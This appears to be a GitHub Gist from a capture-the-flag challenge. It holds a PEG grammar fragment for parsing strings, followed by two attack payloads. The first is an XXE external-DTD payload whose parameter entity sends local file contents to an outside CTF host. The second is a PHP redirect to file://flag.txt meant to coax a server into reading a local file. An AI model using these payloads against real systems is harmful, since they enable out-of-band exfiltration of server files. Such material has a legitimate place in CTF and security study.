Skip to content

Instantly share code, notes, and snippets.

Expr
= s:StringLiteral ws+ rest:Expr { return [s, ...rest]; }
/ s:StringLiteral { return [s]; }
StringLiteral "string"
= '"' chars:DoubleStringChar* '"' { return chars.join(""); }
/ "'" chars:SingleStringChar* "'" { return chars.join(""); }
/ !cc chars:UnquotedStringChar+ { return chars.join(""); }
/ '"' chars:DoubleStringChar* { return chars.join(""); }
/ "'" chars:SingleStringChar* { return chars.join(""); }
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % all "<!ENTITY send SYSTEM 'http://j2x2j.chal.ctf.westerns.tokyo/?%file;'>">
%all;
<?php
header("Location: file://flag.txt");
?>